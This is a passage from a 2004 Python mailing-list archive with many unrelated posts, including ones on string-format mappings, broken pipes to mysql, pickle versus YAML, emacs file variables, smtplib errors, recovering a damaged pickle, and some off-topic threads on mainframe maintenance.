 '  2.300'

You could go hog wild and allow multiple mapped values in a single
format, as in this contrived combination:

 >>> format('%(key)*.("three")f') % ({'key':2.3, 'three':3}, 7)
 '%(key)*.("three")f' (({'three': 3, 'key': 2.2999999999999998}, 7),) {}

BTW, note that a mapping only has to support __getitem__, so you can make a
custom mapping to synthesize interesting named things or find them in interesting
places, and even have special methods that could be called from format.__mod__ for
whatever you think up. Just so your end product is somewhat explainable.

This contrivance illustrates custom mapping as a one-liner class instance
returning the map key uppercased instead of looking something up.

 >>> '%(hi)s %(ho)8s' % type('',(),{'__getitem__':lambda s,x: x.upper()})()
 'HI       HO'

It's more readable if you define a class as usual ;-)
 >>> class U(object):
 ...     def __getitem__(self, key): return key.upper()
 ...
 >>> umap = U()
 >>> '%(hi)s %(ho)8s' % umap
 'HI       HO'

Custom stuff tends to be slower than builtins written in C, of course.
I'll leave the rest as an exercise from here ;-)

Regards,
Bengt Richter


From sholden at holdenweb.com  Thu Sep 16 08:53:39 2004
From: sholden at holdenweb.com (Steve Holden)
Date: Thu, 16 Sep 2004 08:53:39 -0400
Subject: IOERROR Broken Pipe
In-Reply-To: <2e569af.0409160445.70600989@posting.google.com>
References: <2e569af.0409160445.70600989@posting.google.com>
Message-ID: <x4g2d.5814$Xc.4254@lakeread01>

Ruben wrote:

> I am reading a large text file a chunk at a time using the
> readlines(buffer_size) statement. I get an IOERROR ERRNO 32 Broken
> Pipe command when I "pipe" the output to MYSQL database using the
> following command:
> 
> python script.py | mysql
> 
> I am using RED HAT 9 Linux. The problem only happens if I use the pipe
> to MYSQL. It breaks but it gets to process around 1000 MYSQL
> statements.
> 
> If I only use the following statement:
> 
> python script.py
> 
> The programs runs ok and reads all text records without problems.  I
> do need to sent the pipe to MYSQL so that I can populate a database.
> 
> I tried using the following statement but it still breaks:
> 
>    import signal
> 
>    signal.signal(signal.SIGPIPE, signal.SIG_DFL)
> 
Broken pipe errors normally occur when the consumer (in this case the 
mysql client program) stops reading before the producer (your program) 
stops writing.

I would therefore suspect that there may be a syntax error or similar in 
the SQL your program generates.

Test this by running

python script.py > tmpfile
mysql < tmpfile

regards
  Steve


From wilkSPAM at OUTflibuste.net  Sun Sep 19 04:40:59 2004
From: wilkSPAM at OUTflibuste.net (Wilk)
Date: Sun, 19 Sep 2004 10:40:59 +0200
Subject: PyYaml?
References: <2IO2d.1086$HH5.1025@trndny05>
Message-ID: <87r7oyfy78.fsf@blakie.riol>

"Chris S." <chrisks at NOSPAM.udel.edu> writes:

> Is there any benefit to Pickle over YAML? Given that Pickle is
> insecure, wouldn't it make more sense to support a secure
> serialization format, one that's even readable to boot, such as YAML?
> There's even a pure Python implementation at www.pyyaml.org

There is others advantages using yaml instead of pickle anyway
(portability, readability...) 
Syck is even faster than pickle i think.
http://whytheluckystiff.net/syck/

But all theses projects seems to sleep...

-- 
Wilk - http://flibuste.net


From nobody at nowhere.com  Mon Sep 20 09:46:03 2004
From: nobody at nowhere.com (Yannick Turgeon)
Date: Mon, 20 Sep 2004 09:46:03 -0400
Subject: Inheritance question
Message-ID: <eaB3d.12433$pA.483376@news20.bellglobal.com>

Hello,

Say I have a base class called "A"

class A:
    _value
    __init__(self, value):
        self._value = value

and two derived classes "B1" and "B2":

class B1(A):
    def doPrint(self):
        print "B1: " + str(self._value)

class B2(A):
    def doPrint(self):
        print "B2: " + str(self._value)


is there a way that I could change my class A to something like:

class A:
    _value
    __init__(self, value):
        self._value = value
        if value > 10:
            set myself as an instance of B1   # How can I do that?
        else:
            set myself as an instance of B2

in the real situation "value" is encoded and the way to know what kind of A
it is, is more complex than just look at the value.

Thanks for your help and time.

Yannick




From steven.bethard at gmail.com  Tue Sep 21 13:42:35 2004
From: steven.bethard at gmail.com (Steven Bethard)
Date: Tue, 21 Sep 2004 17:42:35 +0000 (UTC)
Subject: Python 3.0, rich comparisons and sorting order
References: <864d370904092109509df67ee@mail.gmail.com>
	<loom.20040921T192348-961@post.gmane.org>
	<20040921173455.GB2891@unununium.org>
Message-ID: <loom.20040921T193847-890@post.gmane.org>

Phil Frost <indigo <at> bitglue.com> writes:
> On Tue, Sep 21, 2004 at 05:24:48PM +0000, I wrote:
> > Could you give an example of a list that you'd like to do this to?  I'm 
> > still having trouble imagining a list of disparate types that I call sort 
> > on...
> What about binary trees? Currently it's possible to implement a binary
> tree that is as general as a dict, but restricting comparisons to like
> types would make that impossible.

Is there a good use case for binary trees with incompatible types at the nodes?

I'm not sure I follow your comparison here anyway, since you can't sort a 
dict...  Could you clarify?

Thanks,

STeve





From roy at panix.com  Fri Sep  3 12:41:31 2004
From: roy at panix.com (Roy Smith)
Date: Fri, 03 Sep 2004 12:41:31 -0400
Subject: Combining mode and encoding in emacs
References: <slrncjh719.bs2.mlh@furu.idi.ntnu.no>
Message-ID: <roy-D1F0CE.12413103092004@reader1.panix.com>

In article <slrncjh719.bs2.mlh at furu.idi.ntnu.no>,
 mlh at furu.idi.ntnu.no (Magnus Lie Hetland) wrote:

> If I want to specify both mode and source encoding using the
> 
>   -*- FOO -*-
> 
> syntax in emacs -- how can I do that? Both insist on being on the
> second line of the file, yet I have found no way of combining them.
> That is, the following doesn't work properly (not in all emaxen, at
> least):
> 
>   #!/usr/bin/env python
>   # -*- encoding: iso-8859-1 -*-
>   # -*- python -*-
> 
> If I switch the two, Python doesn't get the encoding. (I need to
> specify the mode, because the file has a '.cgi' ending.)
> 
> Any tips?

You can set the mode (and a lot of other things) with a local variable 
list on the last page (i.e. after the last form-feed).  Put something 
like this at the end of your file:

#                                                                                                          
# ^L                                                                                                       
#                                                                                                          

# Local Variables:                                                                                         
# mode:python                                                                                              
# End:     
                                                                                                







Look up info on "file variables" for more details.  The -*- stuff is 
just a convenient shorthand for a subset of what you can do with the 
more verbose Local Variables syntax.


From john at grulic.org.ar  Thu Sep 16 23:33:43 2004
From: john at grulic.org.ar (John Lenton)
Date: Fri, 17 Sep 2004 00:33:43 -0300
Subject: what's the deal of "_" in Python?
In-Reply-To: <7cffadfa040916151530c85234@mail.gmail.com>
References: <7cffadfa040916151530c85234@mail.gmail.com>
Message-ID: <20040917033343.GA8843@grulic.org.ar>

On Thu, Sep 16, 2004 at 06:15:11PM -0400, Yun Mao wrote:
> Can someone give me some pointers to the related docs? Thanks.

in the interactive interpreter, _ is the value of the last
expression. In some code I've seen it used as a dummy variable inside
'tight' loops (map(lambda_: _.bar(), foo)), but that use is
diminishing (due mostly to list comprehensions, I guess). In
internationalized code it is usually used as

    from gettext import gettext as _

or something similar. This last use is arguably ugly, but it is a
time-honored convention dating back to the cambric days, when people
programmed end-user programs in C.

-- 
John Lenton (john at grulic.org.ar) -- Random fortune:
For large values of one, one equals two, for small values of two.
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 196 bytes
Desc: Digital signature
URL: <http://mail.python.org/pipermail/python-list/attachments/20040917/ba297d86/attachment.sig>

From miki.tebeka at zoran.com  Tue Sep 14 02:18:33 2004
From: miki.tebeka at zoran.com (Miki Tebeka)
Date: Tue, 14 Sep 2004 06:18:33 +0000 (UTC)
Subject: Using Python instead of DOS shell scripts
References: <6euck09q1d6itnnsfpog08lf61si6s68r0@4ax.com>
Message-ID: <ci62fo$gd1$1@news2.netvision.net.il>

Hello Jeff,

> I have a project of converting numerous DOS cmd shell scripts to Python. Is there a tutorial to
> getting started?
Just read the tutorial at http://docs.python.org/tut/tut.html

Shana Tova.
--
------------------------------------------------------------------------
Miki Tebeka <miki.tebeka at zoran.com>
http://tebeka.spymac.net
The only difference between children and adults is the price of the toys





















From tim.peters at gmail.com  Wed Sep 29 22:48:25 2004
From: tim.peters at gmail.com (Tim Peters)
Date: Wed, 29 Sep 2004 22:48:25 -0400
Subject: constructing binary \n
In-Reply-To: <F84E7671-127F-11D9-9E53-000A95D49904@neosynapse.net>
References: <F84E7671-127F-11D9-9E53-000A95D49904@neosynapse.net>
Message-ID: <1f7befae04092919484211a3bb@mail.gmail.com>

[Steven Arnold]
> Is there a more elegant way to construct \[a-z]

What does that notation mean?  One concrete "before" and "after"
example would have done you more good here than everything else.

> in a string than something like:
> 
> s = '\\n'
> result = eval( "'%s'" ) % s

Sorry, that didn't help me understand what you're after.  To the
contrary, it hurt.  The last line there could have been replaced by:

    result = s

and done exactly the same thing:

>>> s = '\\n'
>>> result = eval( "'%s'" ) % s
>>> s == result
True

`s` and `result` are both the two-character string consisting of a
backslash followed by the letter `n`.  Is that what you want?  That
was also my best guess as to what the notation \[a-z] meant at the
start ("umm ... Steven wants a backslash, followed by a lowercase
letter?").

> Another ugly method would be to build a dict with all the different
> special letters I want as keys, and their corresponding values as
> values.  Or I could have a huge if/elif structure.  I can't make ord
> work, because while ord( '\n' ) gives me a reasonable integer that I
> can interpolate with %c, I don't have '\n', I have '\\n'.

Sorry, still not following.

>>> ord('\n')
10
>>> chr(10)
'\n'
>>> '%c' % 10
'\n'
>>> len(chr(10))
1
>>> len('%c' % 10)
1

I don't know why you say "I have '\\n'" after, presumably, doing

    '%c' % ord('\n')

either, since there's no sense I can see in which you would in fact
have '\\n' after doing that.  As the session above shows, you actually
have the one-character string consisting of a newline after doing
that.  But it's not clear whether that's what you want either.

> Is there a simple, graceful way to do this sort of translation?

Yes -- but until you can explain *which* transformation you're trying
to make, it's hard to tell you how to do it gracefully <wink>.


From gerrit at nl.linux.org  Wed Sep 22 15:57:41 2004
From: gerrit at nl.linux.org (Gerrit)
Date: Wed, 22 Sep 2004 21:57:41 +0200
Subject: Python speed-up
In-Reply-To: <16721.55116.159985.802001@montanaro.dyndns.org>
References: <415186cc$0$3897$4d4ebb8e@news.nl.uu.net>
	<1gkj2vn.4w5b464zur5rN%aleaxit@yahoo.com>
	<20040922193925.GA4669@nl.linux.org>
	<16721.55116.159985.802001@montanaro.dyndns.org>
Message-ID: <20040922195741.GA5292@nl.linux.org>

Skip Montanaro wrote:
>     gerrit> Why isn't cStringIO faster than concatenating strings?
> 
>     gerrit> Using python2.4:
>     ...
> 
> Because in 2.4 common case string concatenation gets a big speed boost:
> 
>     % python2.3 ~/local/bin/timeit.py  -s 's=""' "s+='foo'"
>     10000 loops, best of 3: 68.3 usec per loop
>     % python2.4 ~/local/bin/timeit.py  -s 's=""' "s+='foo'"
>     1000000 loops, best of 3: 0.855 usec per loop

Ah. Am I correct to conclude that StringIO should either be rewritten
concatenating strings, or be deprecated, or both?

Gerrit.

-- 
Weather in Twenthe, Netherlands 22/09 21:25:
	12.0?C   wind 4.5 m/s WSW (57 m above NAP)
-- 
Gerrit Holl - 2nd year student of Applied Physics, Twente University, NL.
Experiences with Asperger's Syndrome:
	EN http://topjaklont.student.utwente.nl/english/
	NL http://topjaklont.student.utwente.nl/


From ajsiegel at optonline.com  Sun Sep 26 13:27:37 2004
From: ajsiegel at optonline.com (Arthur)
Date: Sun, 26 Sep 2004 17:27:37 GMT
Subject: [OT] "Pre-announcement" of Python-based "computing
	appliance"project.
References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com><89adnWTWC6JVscncRVn-uw@giganews.com><enp8l09sql1ikh98s530erp5b79hfpf14o@4ax.com><du7d60bbhah.fsf@amadeus.cc.tut.fi><10l90qcihqrjba1@corp.supernews.com>
	<du78yayby1a.fsf@mozart.cc.tut.fi>
	<mailman.3914.1096154597.5135.python-list@python.org>
Message-ID: <ppudl09uvdr9u3riej2ob6cn62e4tpsefl@4ax.com>

On Sat, 25 Sep 2004 19:23:08 -0400, "Terry Reedy" <tjreedy at udel.edu>
wrote:

>
>"Ville Vainio" <ville at spammers.com> wrote in message
>> But aren't they probabilities just because we haven't understood them?
>
>That is the question.  To me, the underlying question is whether the 
>existence of this universe (in particular, the big bang) was 
>'deterministic' or 'arbitrary' in some megauniverse.
>
>> A thing like "probability" just can't exist in the ultimate Reality.
>
>That is your religious belief -- and perhaps Enstein's.  But I am not sure 
>that God has any choice but to play dice.
>

One does not need to be a QM fundamentist to speculate that God does
something other than catch and throw away the corner cases that
necessarily challenge a deterministic Universe.

Art



From narshe at gmail.com  Fri Sep 17 16:00:57 2004
From: narshe at gmail.com (Josh Close)
Date: Fri, 17 Sep 2004 15:00:57 -0500
Subject: smtplib (111, 'Connection refused')
In-Reply-To: <414b4074$0$24870$9b622d9e@news.freenet.de>
References: <mailman.3467.1095448992.5135.python-list@python.org>
	<414b4074$0$24870$9b622d9e@news.freenet.de>
Message-ID: <4a0cafe204091713004c0cd8d2@mail.gmail.com>

Does smtplib even use a smtp server? I looked at the source and it
looks like it just connects via a socket and sends like that.

-Josh


On Fri, 17 Sep 2004 21:52:23 +0200, Martin v. L?wis <martin at v.loewis.de> wrote:
> Josh Close wrote:
> > I'm using the smtplib module and I keep getting this error: (111,
> > 'Connection refused') What could be causing this?
> 
> This means there is no SMTP server running on the remote system.
> However, there *is* a TCP implementation (typically the operating
> system) on the other end that tells you port 25 is not being
> listened to.
> 
> Regards,
> Martin
> 
> 
> --
> http://mail.python.org/mailman/listinfo/python-list
>


From this at is.invalid  Fri Sep 10 04:51:59 2004
From: this at is.invalid (Mercuro)
Date: Fri, 10 Sep 2004 08:51:59 GMT
Subject: Shorter checksum than MD5
In-Reply-To: <7xllfjfe9m.fsf@ruckus.brouhaha.com>
References: <nJU%c.241102$VH2.12288041@phobos.telenet-ops.be>
	<7xfz5rn1w2.fsf@ruckus.brouhaha.com>
	<hNX%c.241261$Ch3.12334176@phobos.telenet-ops.be>
	<7xllfjfe9m.fsf@ruckus.brouhaha.com>
Message-ID: <PWd0d.242077$K42.12249137@phobos.telenet-ops.be>

Paul Rubin wrote:

> Mercuro <this at is.invalid> writes:
> 
>>I have a proprietary system, which I can't modify. But, it uses Foxpro
>>DBF files which I can read. I have found all the data I want to have
>>in a MySQL table. (this table will be used to lookop prices and to
>>find other information about articles)
>>
>>Since I'm not able to put some timestamps on changed records, I got
>>the idea to put a checksum on each record and save it in the MySQL
>>table. Every night I would 'SELECT' all checksums together with the
>>artikelnumbers and than compare it one by one with newly calculated
>>checksums from the DBF file.  Only the changed checksums shall be
>>'UPDATED' and missing numbers would be 'INSERTED'.
> 
> 
> I'm a little confused.  Is only the DBF file getting updated?

the MySQL table should be updated by the DBF file

   If you
> can put a checksum on each record, why can't you put a timestamp on
> each record?

Not in the DBF file, which is immutable for me.

   Or why can't you just migrate all the data from 
the DBF
> into another file every night, and then just scan the file to find the
> changes from the previous night's version?

That I can give a try

> 
> 
>>This is the code I have for now:
>>(I will probably change md5 with crc32)
> 
> 
> Where are the updates coming from?
from a proprietary system, which uses DBF files.
It is updated by modem connection, every day once.


From aleaxit at yahoo.com  Sat Sep  4 05:00:30 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Sat, 4 Sep 2004 11:00:30 +0200
Subject: Tuple question
References: <41374a65$0$22750$db0fefd9@news.zen.co.uk>
	<opsdpkf1d5433nmu@news.cisco.com>
	<41374cfb$0$22750$db0fefd9@news.zen.co.uk>
	<opsdpk6kx9433nmu@news.cisco.com>
	<mailman.2775.1094145196.5135.python-list@python.org>
	<donn-8ED685.11274102092004@gnus01.u.washington.edu>
Message-ID: <1gjjz2x.l0wwhf13bna6eN%aleaxit@yahoo.com>

Donn Cave <donn at u.washington.edu> wrote:
   ... 
> On the other hand, we normally use tuples for data that
> is meaningful only when it's intact.  The (key, value)

So by this argument len(t) should not work if t is a tuple...

I've never accepted the BDFL's explanations on what tuples are for; like
Python beginners I use them as immutable lists (to index into a
dictionary or be set members) and curse their lack of useful methods.

> pair that comes back from dict.items(), for example.  Each
> value may very well be a string, but the sequence is not
> homogeneous in the sense we're talking about, and index()
> is not useful.

Even for a pair I sometimes like to know if 42 is the key, the  value,
or neither.  index is handy for that... but not if the pair is a tuple,
only if it's a list.  Rationalize as you will, it's still a Python wart.

Pseudotuples with NAMED (as well as indexed) arguments, as modules stat
and time now return, may be a different issue.  Not sure why we never
made declaring such pseudotuples as usertypes as easy as it should be, a
custom metaclass in some stdlib module shd be enough.  But tuples whose
items can't be named, just indexed or sliced, just are not a good fit
for the kind of use case you and Guido use to justify tuple's lack of
methods, IMHO.


Alex


From adurdin at gmail.com  Thu Sep 16 21:34:23 2004
From: adurdin at gmail.com (Andrew Durdin)
Date: Fri, 17 Sep 2004 11:34:23 +1000
Subject: wxPython Not Ready for Commercial Use
In-Reply-To: <10kjq35q7n2q28e@corp.supernews.com>
References: <dcf37d82.0409160827.1de98db9@posting.google.com>
	<10kjq35q7n2q28e@corp.supernews.com>
Message-ID: <59e9fd3a04091618344d2d1fa3@mail.gmail.com>

On Thu, 16 Sep 2004 12:26:09 -0700, Jeff Shannon <jeff at ccvcorp.com> wrote:
> 
> Presuming that you're targetting Windows,  there's a couple of solutions
> here.  Perhaps the simplest would be to use either pythonCOM or
> pyXLWriter ( http://sourceforge.net/projects/pyxlwriter/ ) to get Excel
> to handle the output for you.  I suspect that either of these methods
> would be simpler than writing Excel-xml.

I was recently involved in a project which required producing excel
files programmatically (this was from VB *spew*). I started off using
COM, but it turned out to be unreasonably slow for filling in all the
cells that we needed to do; so instead we output an XML spreadsheet.
It was much faster, and simpler in the end.


From mauriceling at acm.org  Sun Sep  5 19:33:53 2004
From: mauriceling at acm.org (Maurice LING)
Date: Sun, 05 Sep 2004 23:33:53 GMT
Subject: compiling to python byte codes
In-Reply-To: <4138207f$0$182$9b622d9e@news.freenet.de>
References: <4136b2b5$1@news.unimelb.edu.au>
	<4136bbf3$0$197$9b622d9e@news.freenet.de>
	<6f402501.0409020321.44fd443@posting.google.com>
	<41375f6a$0$13076$9b622d9e@news.freenet.de>
	<4137a850$1@news.unimelb.edu.au>
	<pan.2004.09.02.20.00.45.714844@jerf.org>
	<4137bf73$1@news.unimelb.edu.au>
	<pan.2004.09.02.22.49.36.55719@jerf.org>
	<4137e739$1@news.unimelb.edu.au>
	<ch8r2b$mva$1@news.service.uci.edu>
	<4137f79f$1@news.unimelb.edu.au>
	<4138207f$0$182$9b622d9e@news.freenet.de>
Message-ID: <413ba25b$1@news.unimelb.edu.au>

Probably my question should be phrased as, given what x86/PPC processors 
are register-based (even after more than a decade from the publication 
of the book "Stack Machines - the new wave") and there isn't much 
examples of stack-based processors, why is there a difference? It seems 
wierd to me that if stack-based machines (physical processors or VMs) 
are so good, why hadn't the processor engineering caught up?

You've totally missed my question but thanks anyway, I've learnt. My 
actual question had been partially answered.

Thanks


From richie at entrian.com  Tue Sep 21 04:43:00 2004
From: richie at entrian.com (Richie Hindle)
Date: Tue, 21 Sep 2004 09:43:00 +0100
Subject: Electronic voting feasibility
In-Reply-To: <653b7547.0409201633.5216dfef@posting.google.com>
References: <chses7$cha@odah37.prod.google.com>
	<VVk0d.2788$xA1.852@newsread3.news.pas.earthlink.net>
	<653b7547.0409181444.41e0d131@posting.google.com>
	<c0mtk0ldsjhdaooegqberl5501ldh6nue2@4ax.com>
	<653b7547.0409201633.5216dfef@posting.google.com>
Message-ID: <f0qvk0d43std2cakvv430c3i6lmkbugnua@4ax.com>


[Pat]
> I was mystified to find
> that www.m-w.com does not have an entry for an adjective "sound"
> meaning "acoustic."  I find this baffling -- not only is this an
> extremely common usage (IMO), but in the dictionary itself, one of the
> entries in the definition for "acoustic" refers to "sound waves"!

I believe that's an "attributive use" of the noun "sound", as in "brick wall"
or "town council".  See "Adjective (1)" in The New Fowler's.

-- 
Richie Hindle
richie at entrian.com



From carribeiro at gmail.com  Wed Sep 15 18:16:12 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Wed, 15 Sep 2004 19:16:12 -0300
Subject: Using a decorator for generic html templates
In-Reply-To: <864d37090409151511b2ad9c4@mail.gmail.com>
References: <864d37090409151511b2ad9c4@mail.gmail.com>
Message-ID: <864d370904091515167f7559e3@mail.gmail.com>

Hello all again,

I made a small mistake in my previous post. Please change one line only:

-        return func.__doc__
+         return trim(func.__doc__)

The resulting test run is now correct: 

>>> r = Root()
>>> r.index()
'<html>\n  <body>\n    <h1>Hello World!</h1>\n  </body>\n</html>'

As you can see, I just forgot to call trim() at the right time when
crafting my example. Sorry for the inconvenience.

-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From steven.bethard at gmail.com  Sat Sep  4 19:36:02 2004
From: steven.bethard at gmail.com (Steven Bethard)
Date: Sat, 4 Sep 2004 23:36:02 +0000 (UTC)
Subject: docs on for-loop with no __iter__?
References: <mailman.2873.1094321890.5135.python-list@python.org>	<bMp_c.7491$w%6.1810@newsread1.news.pas.earthlink.net>
	<mailman.2879.1094332737.5135.python-list@python.org>
	<Fvq_c.379$ip2.170@newsread3.news.pas.earthlink.net>
Message-ID: <loom.20040905T012349-644@post.gmane.org>

Andrew Dalke <adalke <at> mindspring.com> writes:
> Steven Bethard wrote:
> > Presumably there was a reason not to use len() to determine
> > the end of the sequence?
> 
> Because that allows iteration over things where
> you don't yet know the size.

I'm trying to imagine a situation where it makes sense to want the x[i] 
behavior from __getitem__ but where you don't know the final index.  x[i] 
suggests random access, so if you don't really have random access, shouldn't 
you be defining __iter__ instead?  Are there some good examples of classes 
that allow the x[i] indexing but don't support random access (e.g. you can do 
only do x[2] after you do x[1])?

(Obviously your FileReader class was an example of this, but I've assumed this 
was just an example of how things *could* have been written, not how they 
actually were.  Please correct me if I'm wrong!)

Steve



From rstephens at vectron.com  Sun Sep 19 12:57:36 2004
From: rstephens at vectron.com (Ron Stephens)
Date: 19 Sep 2004 09:57:36 -0700
Subject: New Programmer and Python
References: <_NidnfFXMMGVyNHcRVn-hg@comcast.com>
Message-ID: <a5415304.0409190857.55e2d1a7@posting.google.com>

See www.awaretek.com/plf.html for many resources to help new
programmers learn Python


From cbfalconer at yahoo.com  Tue Sep  7 17:59:17 2004
From: cbfalconer at yahoo.com (CBFalconer)
Date: Tue, 07 Sep 2004 21:59:17 GMT
Subject: Xah Lee's Unixism
References: <41376B82.C6A202FC@yahoo.com> <kg08hc.bgc1.ln@via.reistad.priv.no>
	<41386155$0$19713$61fed72c@news.rcn.com>
	<2prna6Fnrv5rU1@uni-berlin.de>
	<20040904073342.5da8c563.steveo@eircom.net>
	<tqm4qmadohr.fsf@drizzle.com>
	<764.746T316T7654137@kltpzyxm.invalid>
Message-ID: <413E2025.828C091@yahoo.com>

Charlie Gibbs wrote:
> (Patrick Scheible) writes:
>> Steve O'Hara-Smith <steveo at eircom.net> writes:
>>
>>>      There are stone stairs in my old school and in many college
>>> buildings that have deep curves worn into them by feet over a
>>> century or three.
>>
>> Heh.  There are marble stairs with deep wear in them in the main
>> library at my school... only that particular building was only built
>> in 1925 or thereabouts.
> 
> Another damned contractor swapping in substandard materials...

I believe marble is a relatively soft stone, and not suitable for
heavy traffic.  Maybe you should castigate the architect.

-- 
"I'm a war president.  I make decisions here in the Oval Office
 in foreign policy matters with war on my mind." -         Bush.
"If I knew then what I know today, I would still have invaded
 Iraq. It was the right decision" -       G.W. Bush, 2004-08-02



From mcfletch at rogers.com  Sat Sep 25 13:28:46 2004
From: mcfletch at rogers.com (Mike C. Fletcher)
Date: Sat, 25 Sep 2004 13:28:46 -0400
Subject: recover a partly destroyed pickled structure
In-Reply-To: <pan.2004.09.25.17.05.38.476121@hotmail.com>
References: <pan.2004.09.25.17.05.38.476121@hotmail.com>
Message-ID: <4155AACE.3040807@rogers.com>

Each line you quote as "interesting" is an item in a list, denoted by 
the line starting with 'a', after that is the type notation ('F', for 
float), so if that's all the data you need, you can just do:

values = []
for line in lines:
    line = line.strip()
    assert line.startswith( 'aF' ), """Line %r doesn't start with 
aF"""%(line,)
    value = float(line[2:])
    values.append( value )

doSomethingWithValues( values )

You can see the formats quite simply by using pickle at the command line:

In [3]: pickle.dumps( [ 2.0, 3.0] )
Out[3]: '(lp0\nF2.0\naF3.0\na.'

HTH,
Mike

Maurizio Berlusconi wrote:

>Hi all
>
>I have (my mistake) overwritten the beginning of a file where a long
>dictionary was pickled with another (pickled and much smaller) dictionary.
>Since only 10% or so of the original and important data was overwritten, I
>would be happy if I could somehow recover at least the part that I can
>still see.
>  
>
...

>ss. #after that line starts the data I need
>aF10.0
>aF10.3125
>aF8.125
>aF4.84375
>aF4.21875
>aF5.9375
>....# all data is here until the end
>g4
>sg215
>S'12:26'
>p3376
>ss.
># end of old important data
>
>Can anybody give an indication on how to do that? I tried to understand
>how pickle puts these numbers on the different fields and remove the
>unimportant beginning of the file to replace it with something that would
>allow to unpickle the data, but did not really succeed. Read the
>source (and understand it) is far beyond my python skills...
>
>Any hint or pointer would be appreciated.
>
>Regards, 
>
>Maurizio 
>  
>

-- 
________________________________________________
  Mike C. Fletcher
  Designer, VR Plumber, Coder
  http://www.vrplumber.com
  http://blog.vrplumber.com



From lynn at garlic.com  Thu Sep  9 11:02:33 2004
From: lynn at garlic.com (Anne & Lynn Wheeler)
Date: Thu, 09 Sep 2004 09:02:33 -0600
Subject: Xah Lee's Unixism
References: <7fe97cc4.0408251356.34f2102a@posting.google.com>
	<opsdy5xuappqzri1@mjolner.upc.no>
	<p9qdnTnxTYDJR6PcRVn-pw@speakeasy.net>
	<413f049f$0$6914$61fed72c@news.rcn.com>
	<5sjnhc.bb81.ln@via.reistad.priv.no>
Message-ID: <uwtz3trhy.fsf@mail.comcast.net>

Morten Reistad <firstname at lastname.pr1v.n0> writes:
> But with a PM you had to do a cold start. All the disks had to be
> spun down, filters changed, and they had to spin for an ungodly long
> time after the filter change before heads could be enabled
> again. This was to bring all the dust that was let loose in the
> process into the new filters before heads went to fly over the
> platters again.
>
> Also power supplies had to be checked for the dreaded capacitor
> problems. Tape drives also had these. This was industry-wide
> problems; and news from a few burned UPS'es the last couple of
> months tell me that the capacitor problems are still with us.
>
> It was a real accomplishment when we in 1988 could do a full PM
> (Prime gear) without shutting down the system. All disks were
> mirrored, and all power duplicated, so we shut down half of the
> hardware and did PM on that; and took the other half next week.
>
> SMD filters were used at a quite high rate; even inside well
> filtered rooms. ISTR 6 months was a pretty long interval between
> PM's.

360s, 370s, etc differentiated between smp ... which was either
symmetrical multiprocessing or shared memory (multi-)processing
... and loosely-coupled multiprocessing (clusters).
http://www.garlic.com/~lynn/subtopic.html#smp

in the 70s, my wife did stint in POK responsible for loosely-coupled
multiprocessing architecture and came up with peer-coupled shared
data
http://www.garlic.com/~lynn/subtopic.html#shareddata

also in the 70s, i had done a re-org of the virtual memory
infrastructure for vm/cms. part of it was released as something called
discontiguous shared memory ... and other pieces of it was released
as part of the resource manager having to do with page migration
(moving virtual pages between different backing store devices).
http://www.garlic.com/~lynn/subtopic.html#fairshare
http://www.garlic.com/~lynn/subtopic.html#wsclock
http://www.garlic.com/~lynn/subtopic.html#mmap
http://www.garlic.com/~lynn/subtopic.html#adcon

in the mid-70s, one of the vm/cms timesharing service bureaus
http://www.garlic.com/~lynn/subtopic.html#timeshare

was starting to offer 7x24 service to customers around the world; one
of the issues was being able to still schedule PM .... when there
was never a time that there wasn't anybody using the system. they
had already providing support for loosely-coupled, similar to
HONE
http://www.garlic.com/~lynn/subtopic.html#hone

for scallability & load balancing. what they did in the mid-70s was to
expand the "page migration" ... to include all control blocks ...  so
that processes could be migrated off one processor complex (in a
loosely-coupled environment) to a different processor complex ...  so
a processor complex could be taken offline for PM.

in the late '80s, we started the high availability, cluster multiprocessing
project:
http://www.garlic.com/~lynn/subtopic.html#hacmp

of course the airline res system had been doing similar things on 360s
starting in the 60s.

totally random references to airline res systems, tpf, acp, and/or pars:
http://www.garlic.com/~lynn/96.html#29 Mainframes & Unix
http://www.garlic.com/~lynn/99.html#17 Old Computers
http://www.garlic.com/~lynn/99.html#100 Why won't the AS/400 die? Or, It's 1999 why do I have to learn how to use
http://www.garlic.com/~lynn/99.html#103 IBM 9020 computers used by FAA (was Re: EPO stories (was: HELP IT'S HOT!!!!!))
http://www.garlic.com/~lynn/99.html#136a checks (was S/390 on PowerPC?)
http://www.garlic.com/~lynn/99.html#152 Uptime (was Re: Q: S/390 on PowerPC?)
http://www.garlic.com/~lynn/2000b.html#20 How many Megaflops and when?
http://www.garlic.com/~lynn/2000b.html#61 VM (not VMS or Virtual Machine, the IBM sort)
http://www.garlic.com/~lynn/2000b.html#65 oddly portable machines
http://www.garlic.com/~lynn/2000c.html#60 Disincentives for MVS & future of MVS systems programmers
http://www.garlic.com/~lynn/2000e.html#21 Competitors to SABRE?  Big Iron
http://www.garlic.com/~lynn/2000e.html#22 Is a VAX a mainframe?
http://www.garlic.com/~lynn/2000f.html#20 Competitors to SABRE?
http://www.garlic.com/~lynn/2001.html#26 Disk caching and file systems.  Disk history...people forget
http://www.garlic.com/~lynn/2001b.html#37 John Mashey's greatest hits
http://www.garlic.com/~lynn/2001d.html#69 Block oriented I/O over IP
http://www.garlic.com/~lynn/2001e.html#2 Block oriented I/O over IP
http://www.garlic.com/~lynn/2001g.html#35 Did AT&T offer Unix to Digital Equipment in the 70s?
http://www.garlic.com/~lynn/2001g.html#45 Did AT&T offer Unix to Digital Equipment in the 70s?
http://www.garlic.com/~lynn/2001g.html#46 The Alpha/IA64 Hybrid
http://www.garlic.com/~lynn/2001g.html#47 The Alpha/IA64 Hybrid
http://www.garlic.com/~lynn/2001g.html#49 Did AT&T offer Unix to Digital Equipment in the 70s?
http://www.garlic.com/~lynn/2001j.html#17 I hate Compaq
http://www.garlic.com/~lynn/2001n.html#0 TSS/360
http://www.garlic.com/~lynn/2001n.html#3 News IBM loses supercomputer crown
http://www.garlic.com/~lynn/2002c.html#9 IBM Doesn't Make Small MP's Anymore
http://www.garlic.com/~lynn/2002g.html#2 Computers in Science Fiction
http://www.garlic.com/~lynn/2002g.html#3 Why are Mainframe Computers really still in use at all?
